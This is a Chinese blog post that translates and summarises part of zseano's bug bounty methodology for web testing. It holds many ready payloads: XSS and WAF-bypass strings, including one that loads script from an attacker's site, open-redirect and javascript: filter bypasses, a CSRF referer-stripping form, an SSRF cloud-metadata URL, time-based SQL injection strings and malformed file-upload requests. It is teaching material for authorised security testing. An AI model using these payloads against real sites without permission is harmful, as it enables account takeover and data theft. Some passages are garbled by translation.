最近又开始头铁测试国外的bug bounty，不过很显然那个难度和国内的一些公益src和教育src的难度差别非常大，有点伤害自信，说实话
半个月毫无建树的情况下，想到之前下载的zseano的方法论这个pdf，本来抱着看一看的心态来的，不过他全篇下来71页，非常细致的讲了一些漏洞挖掘的思路、要点，并且以提问的方式告诉你潜在的漏洞点，对我的漏洞挖掘非常有启发，决定好好整理一波，本着分享的原则，也发布给大家，希望各位师傅也能挖洞赎回自由身吧，不过由于进度实在太慢，本次就先发他的干货第一部分
zseano是一名来自英国的顶级黑客，也是bugbountyhunter.com的创始人，本文是根据他公开发布的zseanos methodology整理而成
我测试时的常见目标及原因
当第一次开始实施一项计划时，我倾向于坚持我最熟悉的东西，并试图用我的发现创造尽可能多的影响。以下是我在漏洞悬赏计划中最常见的漏洞类型，以及我是如何找到这些错误的。
我知道你坐在那里想，”等等，你不是要找每一种类型的错误吗？当然，我最终会寻找每一种类型的问题，但在刚开始的时候，这些是我关注的错误类型。作为一个黑客，你也不可能完全知道，所以千万不要抱着尝试每一种类型的漏洞的心态进入测试。你可能会精疲力尽，特别是在接触一个新项目的情况下。
我的方法是在同一个项目上花几个月的时间，目的是随着时间的推移尽可能地深入研究 ，我在学习他们的网络应用时，尽可能地深入。根据我的经验开发者在整个互联网上都在犯同样的错误，而我最初的观察是为了让我感受到他们对整个网络应用的安全的总体看法。
重申一下，在我的第一次初步观察中，我主要是看是否有过滤器，目的是为了绕过这些。这为我创造了一个起点，也创造了一个可以追逐的 “线索”。测试你面前的功能，看看它对最基本的错误类型是否安全。你会惊讶于你可能发现的有趣的行为，如果你不去尝试，你怎么会知道。
XSS
尽管有一些方法可以非常容易地防止跨站脚本，但跨站脚本是在错误赏金计划中发现的最常见的漏洞之一。
对于初学者来说，XSS只是能够在一个参数/字段中输入自己的HTML，而网站将其反映为有效的HTML。例如，你有一个搜索表单，你输入了<img src=x onerror=alert(0)>，在按下 “搜索 “时，它显示了一个破碎的图像和一个警报框。这意味着你输入的字符串被反映为有效的HTML 并且容易受到XSS的攻击。
我对我发现的每一个参数都进行了测试，不仅是反射式XSS，也包括盲XSS。由于bug bounties是黑盒测试，我们实际上不知道服务器是如何处理这些参数的，所以为什么不试试呢？它可能被储存在某个地方，也许有一天会触发。没有多少研究人员会测试每一个参数，特别是盲XSS，他们认为，”它执行的机会有多大？”。相当高，我的朋友。而你的尝试会有什么损失呢？什么都没有，你只是得到了一些东西，比如通知你的盲XSS已经执行了的报告!
我遇到的最常见的XSS问题是过滤器和WAF。WAF通常是最难绕过的，因为它们通常在运行某种类型的搜索引擎。如果它是最新的，它将寻找一切。
说到这有时确实存在旁路，一个例子是我在面对Akamai的WAF。我注意到他们只对参数值进行检查，而不是对实际参数名称进行检查。该漏洞点表名参数名称和值为JSON类型。
<script>{“paramname”:”value”}</script>
我设法使用下面的有效载荷来改变有效载荷之后到我的网站的任何链接 这使我能够运行我自己的JavaScript（因为它改变了<script src=>链接到 我的网站）。这里的payload是参数名，而不是值。
?”></script><base%20c%3D=href%3Dhttps:\mysite>
在针对WAF的测试中，没有明确的方法可以绕过它们。我建议查看其他人的研究，看看过去有什么成功的方法，然后从那里学习。查看别人在这方面的研究，看看过去的成功经验，然后从那里开始工作。(因为他们很可能已经打了补丁，所以你需要找出一个新的 绕过。记得我说过要创造一个线索吗？这个项目可能会告诉你常见的WAF工作原理
在面对过滤器的时候，我的眼睛往往会发亮。过滤器意味着我们正在测试的参数容易受到XSS的攻击，但开发者已经创建了一个过滤器来防止任何恶意的HTML标签。这也是我在刚开始做一个网站的时候，花大量时间寻找XSS的主要原因之一，因为如果他们对某些有效载荷没有进行过滤，就会导致XSS的出现。因为如果他们过滤了某些有效载荷，就可以让你感觉到他们网站的整体安全性 网站的整体安全性。
记住，XSS是最容易防范的错误类型，那么他们为什么要创建一个过滤器？他们还围绕什么创建了过滤器（想想SSRF…）？只过滤内部IP地址？也许他们忘记了http://169.254.169.254/latest/meta-data – 很有可能，他们确实忘记了，而你成功了！
Tips: 169.254.网段是在DHCP分配IP地址失败时分配的内网IP地址，是另一种形式的内网IP网段（个人理解，如果不对欢迎评论区指正）
测试XSS和过滤的过程
找出我们正在测试的参数允许哪些有效载荷，以及网站如何反映/处理它。
我是否可以在没有任何过滤的情况下输入最基本的<h2>, <img>, <table>，并将其输出？而被反映为HTML？他们是否过滤了恶意的HTML？如果它被输出为<或%3C，那么我将测试双重编码%253C和%26lt;，看看它如何处理这些类型的编码。
改项目提供了一些有趣的编码方式尝试
这一步是要找出什么是允许的和不允许的以及它们如何处理我们的有效载荷。
例如，如果<script>被 反映为<script>，但%26lt;script%26gt;被反映为<script>，那么我就成功绕过了，我可以开始了解他们是如何处理编码（这在以后的错误中可能会帮助我！）。如果不管你怎么试，你总是看到<script>或%3Cscript%3E，那么有关的参数就可能没有漏洞。
2. 站在开发者的角度思考过滤器的功能(随着时间的推移和经验的积累，这将变得更加容易)
这一步是站在开发者的角度思考，弄清楚他们创建的过滤器是什么类型的。问题包括：
他们创建了什么类型的过滤器？
这个过滤器是否存在于整个web网站的其他地方？
如果我注意到他们正在过滤<script>、<iframe>以及 “onerror=”，但注意到他们没有过滤<script，那么我们知道挑战开始了，是时候发挥创意了。
- 他们是否只寻找完整有效的HTML 标签吗？ 如果是的话，我们可以用<script src=/mysite.com?c= 来绕过脚本标签检查
- 这份HTML标签黑名单足够完善吗？ 也许开发者没有及时更新并 忘记了诸如<svg>之类的东西
- 如果黑名单足够完善，那么这个黑名单是否存在于其他地方 思考一下文件的上传。这个网站是如何处理 编码？<%00iframe, on%0derror. 这一步是你不会出错的地方，你可以通过简单地尝试，看看会发生什么。尽可能多地尝试不同的组合 尽可能多的不同组合，不同的编码和格式。你测试的越多，你就会学到越多
- 我常用的测试代码
<h2> // h2 标签通常不会被列入黑名单 <h2 //他们只是在寻找完整的标签吗？ 绕过方法 <script src=//mysite.com?c= <%00h2 // 他们是否在寻找 < 之后的字符 - 我们可以欺骗它吗？ 我运行了所有 %0d %0a 等。 %0d %00 等是否会导致任何类型的 WAF 执行并阻止请求？ </script/x> // 尾随/关闭标签有时会破坏过滤器 <<h2>> // 可以去掉外面的 < > 离开 <h2> <IFRAME> // 区分大小写？ “onxss= // 他们是否只寻找最知名的 on{} 事件处理程序？{} 'onxss= //有时 ' 会产生不同的行为。也许导致sql注入？
- 如何处理非恶意的HTML标签，如<h2>
- 不完整的HTML标签如何处理，比如<iframe src=//zseano.com/c=>
- 如何处理编码，如<%00h2(这里有很多可以尝试的。 %0d, %0a, %09等)
按照这个过程从各个角度测试，并确定可能存在的过滤规则.
推荐的XSS绕过资源
https://github.com/masatokinugawa/filterbypass/wiki/Browser’s-XSS-Filter-Bypass-Cheat-Sheet
CSRF
CSRF是指能够强迫用户在你的网站上对目标站点进行一个特定的动作，通常是通过一个HTML表单：
<form action=”/login” method=”POST”>
CSRF的一个例子，是强迫用户将他们的账户电子邮件修改为你控制的电子邮件，从而导致账户接管，开发人员可以非常容易的引入CSRF令牌来保护，但仍然有一些开发者选择创建自定义代码来控制。
寻找CSRF漏洞时，主要寻找网站上应该包含CSRF令牌的页面，例如更新账户信息页面。虽然这个思路有点傻，但从实际情况来看，证明某个页面确实具有安全保护，可以给你一个明确的指示，让你了解整个网站的安全性。
测试思路
- 你在发送空白邮件时候有什么参数。
- 在发送一个空白的CSRF值时候会发生什么，是否能从返回的错误中发现任何有关框架的信息。
- 在发生CSRF错误的时候，修改是否成功。
- 你在其他网站上看到过这个参数名称吗？也许根本就没有任何保护措施!
- 测试他们最安全的功能（账户功能通常如上所述），然后再向后努力。
- 当你继续测试网站时，你可能会发现一些功能有不同的CSRF保护。思考一下为什么会有不同，不同的团队？旧的代码库？也许使用了一个不同的参数名称，而现在你可以专门寻找这个参数，因为你知道它很可能存在漏洞。
常见的CSRF漏洞类型
- 当CSRF令牌存在时检查 开发人员采取的一个常见方法是检查referer头的值，如果它不是他们的网站，就放弃请求。然而，这样做会适得其反，因为有时只有在真正找到referer头的情况下才会执行检查，而如果没有找到，就不检查，这种情况下的payload:
meta name="referrer" content="no-referrer" /> <iframe src=”data:text/html;base64,form_code_here”> - 检查域名是否在referer头中有时他们只会检查他们的域名是否在引用者中找到，因此在你的网站上创建一个目录并访问就可以成功绕过。
https://www.yoursite.com/https://www.theirsite.com/ - 绕过CSRF过滤，在找到CSRF令牌保护的敏感区域，测试是否创建了自定义过滤。有过滤的地方，就有方法绕过！
在寻找CSRF时，并没有一个常见的页面清单，因为每个网站都包含不同的功能，但所有敏感的功能都应该受到CSRF令牌保护，所以要找到并进行测试。例如，网站开放了支付功能，能否强迫其他用户支付，从而使得从他人的账户扣费。
开放重定向
开放重定向是我最喜欢发现的漏洞，因为如果目标有某种类型的Oauth流程在处理令牌的时候重定向，我通常有100%的成功率在验证流程中使用无害的重定向。
开放重定向的URL构成非常简单，访问的时候会被重定向到参数控制的URL地址
很多开发者没有对这些参数进行任何类型的过滤/限制，所以它们非常非常容易被发现。但过滤器也时候也会存在阻止对任何网页的重定向，下面是我用来绕过一些过滤器的payload，但最重要的是用来确定过滤器是如何工作的
\/yoururl.com
\/\/yoururl.com
\\yoururl.com
//yoururl.com
//theirsite@yoursite.com
/\/yoursite.com
https://yoursite.com%3F.theirsite.com/
https://yoursite.com%2523.theirsite.com/
https://yoursite?c=.theirsite.com/ (use # \ also)
//%2F/yoursite.com
////yoursite.com
https://theirsite.computer/
https://theirsite.com.mysite.com
/%0D/yoursite.com (Also try %09, %00, %0a, %07)
/%2F/yoururl.com
/%5Cyoururl.com
//google%E3%80%82com
我通过谷歌搜索一些常见的词来寻找可能有漏洞的页面：（别忘了要测试大小写）
return
return_url
rUrl
cancelUrl
url
redirect
follow
goto
returnTo
returnUrl
r_url
history
goback
redirectTo
redirectUrl
redirUrl
开放重定向测试思路
首先你需要熟悉Oauth登录流程的工作原理，建议查看页面：
https://www.digitalocean.com/community/tutorials/an-introduction-to-oauth-2
通常情况登陆页面会是这样，同时redirect_url将被列入白名单，只允许使用*.target.com/*
https://www.target.com/login?client_id=123&redirect_url=/sosecure
你注意到了吗？在该网页使用一个开放的重定向，就可以泄露令牌，一旦登录成功，令牌会随着重定向请求被发送到任意页面。
这个用户访问如下网页，当登录成功时将被重定向到攻击者的网站，同时还携带着用于认证的令牌，账户接管漏洞报告来了！
人们经常遇到的一个问题是没有正确地对数值进行编码。特别是如果目标只允许/localRedirects。你的有效载荷看起来像类似于/redirect?goto=https://zseano.com/，
但当使用这个时，?参数可能会在重定向中被丢弃（这取决于网络应用的工作方式和重定向的数量）。 这种情况也可能发生在包含多个参数（通过&连接），重定向参数可能被遗漏。我将 总是对某些值进行编码，如& ? # / /， 以迫使浏览器在第一次重定向后对其进行解码。
/redirect%3Fgoto=https://www.zseano.com/%253Fexample=hax
第一次重定向后，浏览器会将URL中的%3F解码为?，我们的参数被成功地发送过去。我们最终得到了：
https://www.example.com/redirect?goto=https://www.zseano.com/%3Fexample=hax
然后，当它再次重定向时，将允许”example”参数也被发送。
有时你需要根据重定向的数量对它们进行双重编码和添加参数
https://example.com/login?return=https://example.com/?redirect=1%26returnurl=http
https://example.com/login?return=https%3A%2F%2Fexample.com%2F%3Fredirect=
如果你发现的重定向是通过”Location:”头，那么XSS就不可能发生。然而，如果它是通过 “window.location “这样的东西重定向的，那么你应该测试”javascript:”，而不是重定向到你的网站，因为XSS也可能会存在。下面是绕过过滤器的一些常见方法：
java%0d%0ascript%0d%0a:alert(0)
j%0d%0aava%0d%0aas%0d%0acrip%0d%0at%0d%0a:confirm`0`
java%07script:prompt`0`
java%09scrip%07t:prompt`0`
jjavascriptajavascriptvjavascriptajavascriptsjavascriptcjavascriptrjavascriptijavascript
pjavascriptt:confirm`0`
SSRF
SSRF是指服务器向你构造的URL/端点发起一个请求，这可能出于多种原因，有时候它的出现并不表明目标是脆弱的。
在寻找SSRF的时候，我会特别寻找接收一个URL参数的功能点，因为正如前所述，我需要寻找一个网站的特定区域，在那里开发人员可能已经创建了一个过滤器来防止恶意活动。
例如，在大型赏金漏洞项目中，我会立即尝试找到他们的API控制台（如果有的话，通常可以在他们的开发者文档页面上找到），这个页面通常包含一些功能点，主要接受一些URL参数并执行代码。
考虑一下webhooks。除了处理URL的功能，只需注意处理URL的常用参数的参数名称。我发现雅虎的SSRF就是这样做的，因为一个请求其中就包含参数 “url”。另一个很好的例子是来自Jobert Abma提交的公开漏洞报告，该功能就在他面前，不需要特别的侦察或暴力测试。
CSRF测试思路
在测试SSRF时，你应该总是测试他们如何处理重定向。你实际上可以通过使用XAMPP和NGrok在本地托管一个重定向。XAMPP允许你在本地运行PHP代码，NGROK给你一个公共的互联网地址（在完成测试后不要忘记关闭它！)
XAMPP的教程：
- 设置一个简单的重定向脚本，看看目标是否解析了重定向并跟随。
- 如果你在重定向前加入sleep(1000)，会发生什么，你会不会导致服务器挂起和超时？
- 也许他们的过滤器只检查参数值而不检查重定向值，并成功允许你读取内部数据。
- 不要忘记尝试使用你发现的一个潜在的开放重定向作为你的链的一部分，如果他们是 过滤外部网站。
除了在网站上寻找需要URL参数的功能外，还要始终寻找他们可能使用的任何第三方软件，如Jira。公司并不总是打补丁，这会使得自己容易受到攻击，所以要始终保持对最新的CVE的关注。像这样的软件通常包含有趣的服务器相关功能，可以被用于恶意目的。
文件上传
开发者有99%的可能性已经创建了一个过滤器，以确定允许哪些文件，阻止哪些文件。我知道在我测试这个功能之前，会有（或至少应该有）一个过滤器。当然，这取决于他们把文件储存在哪里，但如果是在他们的主域，那么我首先会尝试上传.txt、.svg和.xml。这三种文件类型有时会被遗忘，并绕过过滤器。
我首先测试.txt，以检查过滤器的实际严格程度（如果它说只允许图片.jpg.png.gif，例如），然后再继续。
除此以外，只要简单地上传三种不同的图片类型（.png.gif和.jpg），就可以让你知道他们是如何处理上传的。例如，是否所有的照片都以相同的格式保存，不管我们上传的照片是什么类型？他们是否不相信我们的任何输入而总是保存为.jpg？
测试文件上传文件名的方法类似于XSS，测试各种字符和编码。例如，如果你将文件命名为 “zseano.php/.jpg”，过滤器可能看到”.jpg”并认为没问题，但服务器实际上把它写成了zseano.php，而忽略了正斜杠之后的所有内容。
我在使用有效载荷zseano.html%0d%0a.jpg时也取得了成功。服务器会看到”.jpg”，但由于%0d%0a是换行字符，所以它被保存为zseano.html。不要不要忘记，文件名通常会反映在页面上，你可以在文件名中偷换XSS 字符（有些开发者可能认为用户不能保存带有< > “字符的文件）。
------WebKitFormBoundarySrtFN30pCNmqmNz2
Content-Disposition: form-data; name="file"; filename="58832_300x300.jpg<svg
onload=confirm()>"
Content-Type: image/jpeg
ÿØÿà
开发者到底在检查什么，他们是如何处理的？他们是否信任我们的任何输入吗？例如，如果我提供的是:
------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename="zseano.jpg"
Content-Type: text/html
过滤器是否看到”.jpg “并认为”图像扩展，一定没问题”。是相信我的内容类型并将其反映为Content-Type:text/html？还是根据文件的扩展名来设置内容类型？如果你不提供文件扩展名(或文件名)，会发生什么，它会默认为内容类型或文件扩展名吗？
------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename="zseano."
Content-Type: text/html
------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename=".html"
Content-Type: image/png
<html>HTML code!</html>
这都是向它提供畸形的输入，看它对这些输入的信任程度。也许它们甚至不对文件扩展名进行检查，而是对图像大小进行检查。有时，如果你留下图像头，这就足够绕过检查。
———WebKitFormBoundaryoMZOWnpiPkiDc0yV
Content-Disposition: form-data; name=”oauth_application[logo_image_file]”;
filename=”testing1.html”
Content-Type: text/html
‰PNG
<script>alert(0)</script>
IDOR
DOR错误的一个例子是简单的一个网址，如https://api.zseano.com/user/1 ，当被查询时，它将给你提供用户ID”1”的信息。把它改成用户ID”2”应该给你一个错误，并拒绝向你显示其他用户的详细信息。然而，如果他们是脆弱的，那么它将允许你查看该用户的详细信息。IDOR是关于将整数值（数字）改变为另一个整数值，并看看会发生什么。
当然，这并不总是像只寻找整数（1）值那么简单。有时你会看到一个GUID（2b7498e3-9634-4667-b9ce-a8e81428641e）或其他类型的加密的值。强制执行GUID通常是一个死胡同，所以在这个阶段我将检查这个值的任何泄漏。我曾经有一个漏洞，我可以删除任何人的 照片，但我无法列举出GUID值。访问一个用户的公共档案并查看源文件，发现用户的照片GUID被保存在文件名为(https://www.example.com/images/users/2b7498e3-9634-4667-b9ce-a8e81428641e/photo.png）
这方面的一个例子可以在FirstBlood上看到。当创建一个约会时，你会得到一个GUID值来管理它。仅仅是执行这个动作，我的脑子里就已经有很多问题了。这个值在网站的任何地方被泄露了吗，或者它已经被被谷歌收录？这就是我开始寻找更多关键词的地方，例如 “appointment_id”, “appointmentID”.
我有另一个案例，我注意到ID是用相同的长度和字符生成的。起初我和另一位研究人员列举了尽可能多的组合但后来意识到我们不需要这样做，我们可以简单地使用一个整数值。吸取的教训：即使你看到某种类型的加密值，只要试着用一个整数!服务器可能会对它进行同样的处理。你会惊讶于有多少公司依赖隐蔽性来保证安全。
当开始一个项目时，我会专门在移动应用程序上寻找IDOR，因为大多数移动应用程序将使用某种类型的API，根据过去的经验，它们通常容易受到IDOR的攻击。当查询你的个人资料时，它更有可能向他们的API发出请求，只用你的用户ID来识别你是谁。
IDOR通常比看到的要多。想象一下，你有一个允许你上传私人照片的网站，但你发现了一个IDOR，它允许你查看你想要的任何照片。深入思考一下，”如果他们没有检查我是否拥有我所查询的ID，那么他们还有什么忘了做某些权限检查？”。如果你能以各种不同的角色（管理员、访客）注册，你能以访客身份执行管理操作吗？非付费会员可以访问付费功能吗？IDOR的查找很有趣，因为有时你可以发现整个网络应用的故障。
除了搜索整数值之外，我还会尝试简单地注入ID参数。任何时候你看到一个请求，并且postdata是JSON，{“example”: “example”}，试着简单地注入一个新的参数名称，{“example”: “example”, “id”: “1”}。当JSON被服务器端解析时，你根本不知道它可能会如何处理它，所以为什么不试试？这不仅适用于JSON请求，也适用于所有请求，但当它是一个JSON有效载荷时，我通常有更高的成功率。(寻找PUT请求！)
CORS跨域资源共享
一个真正常见的寻找过滤的地方（记住，我感兴趣的是找到特定的过滤器来尝试绕过！）当你看到”Access-Control-Allow-Origin:”作为响应中的一个头。你也会有时也会看见”Access-Allow-Credentials:true”，这取决于实际情况。这些头允许外部网站读取网站的内容，例如，如果你有敏感信息在https://api.zseano.com/user/，而你看到”Access-Control-Allow-Origin: https://www.yoursite.com/”，那么你就可以通过你的网站成功读取该网站的内容。如果网站上需要会话cookie，则需要”Allow-credentials”。
开发人员将创建过滤器只允许他们的域名读取内容，但请记住，当有一个 过滤器时，通常会有一个绕过的方法。
最常见的方法是尝试: anythingheretheirdomain.com
因为有时他们只会检查是否找到他们的域名。
在寻找CORS错误配置时，你可以简单地在你的每个请求中添加 “Origin: theirdomain.com”，然后搜索 “Access-Control-Allow-Origin”。即使你发现某个端点确实包含这个头，但它并不包含任何敏感信息，也要花时间尝试绕过它。请记住开发人员重复使用这种”无害”的旁路可能会在以后的研究中发挥作用。
SQL注入
有一点需要注意的是，旧的的代码通常更容易受到SQL注入的影响，所以 留意旧的功能。SQL注入可以简单地在整个网站上进行测试，因为大多数代码会进行某种数据库查询（例如，当搜索时，它必须用你的输入查询数据库）。
当测试SQL注入时，是的，你可以简单地使用’并寻找错误，但自过去以来已经发生了很多变化，现在，很多开发人员已经禁用了错误信息，所以我总是用时间注入的payload引起延时，因为通常这些payload会通过任何过滤器。此外如果响应有延迟，这意味着你的有效载荷被盲目地执行了，这样就更容易表明你的有效载荷被盲目地执行。
' or sleep(15) and 1=1#
' or sleep(15)#
' union select sleep(15),null#
当测试SQL注入时，我将采取与XSS相同的方法，并在整个网络应用中测试整个网络应用程序。
说实话，我在寻找SQL方面的成功率没有其他漏洞类型那么高
业务逻辑漏洞
当所有的功能都在你面前的时候，为什么还要自己创造工作？通过简单地了解一个网站应该如何工作，然后尝试各种技术来创造奇怪的行为，可以导致一些有趣的发现。例如，设想你正在测试一个发放贷款的目标，他们的最大限额是1000英镑。如果你能简单地将其改为10,000英镑并绕过他们的限额，那么你就做到了你所做的只是利用了你面前的这个功能。没有扫描，没有奇怪的过滤器，也不涉及黑客行为。只是简单地检查这个过程是否是 应该如何工作。
在寻找应用逻辑错误时，我经常寻找的一个领域是与旧功能交互的新功能。想象一下，你可以要求对一个页面的所有权，但要这样做，你需要提供身份证明。然而，一个新的功能出现了，它使你能够升级你的页面以获得额外的好处，但唯一需要的信息是有效的支付数据。在提供这些信息后，他们将你添加为页面的所有者，而你已经绕过了识别步骤。当你继续阅读时，你会了解到我的方法的很大一部分是花数天/数周的时间来了解几天/几周的时间来了解网站应该如何运作，以及开发人员希望用户能输入/做什么，然后想出办法来打破和绕过这个步骤。
另一个简单的商业逻辑错误的好例子是能够用电子邮件注册一个帐户的电子邮件example@target.com。有时这些账户有特殊权限，如没有速率限制和绕过某些验证。
业务/应用逻辑漏洞往往是在你了解了网络应用程序的工作原理，并且对他们所提供的服务有了更清晰的认识之后才会浮现出来。你越是使用他们的网站，你就越是开始了解事情应该如何运作（正如他们的初衷），但他们是否真的运作吗？想象一下，你刚刚在一个网站上赢得了一场比赛，你可以访问/prize/claim to the way。可以访问/prize/claim来领取你的奖品。这个端点（或领奖过程）是否对那些没有中奖的人可用吗？寻来描述功能应该如何工作的明确警告，以及API文档，并开始测试!
业务/应用逻辑漏洞经常被忽视，因为大多数人都在测试payload，希望得到最好的结果，但是当涉及到商业/应用逻辑问题时，通常没有明确的payliad可以使用。实际上，这与payload关系不大，而更多的是要了解网络应用的流程并规避这些。
正如你在上面看到的，你不能在BARKER上注册成为高级用户，因为它没有被启用，而且是 “即将到来”。但实际情况是这样的吗？你需要测试的是你的眼前的东西，不要忽视这些东西!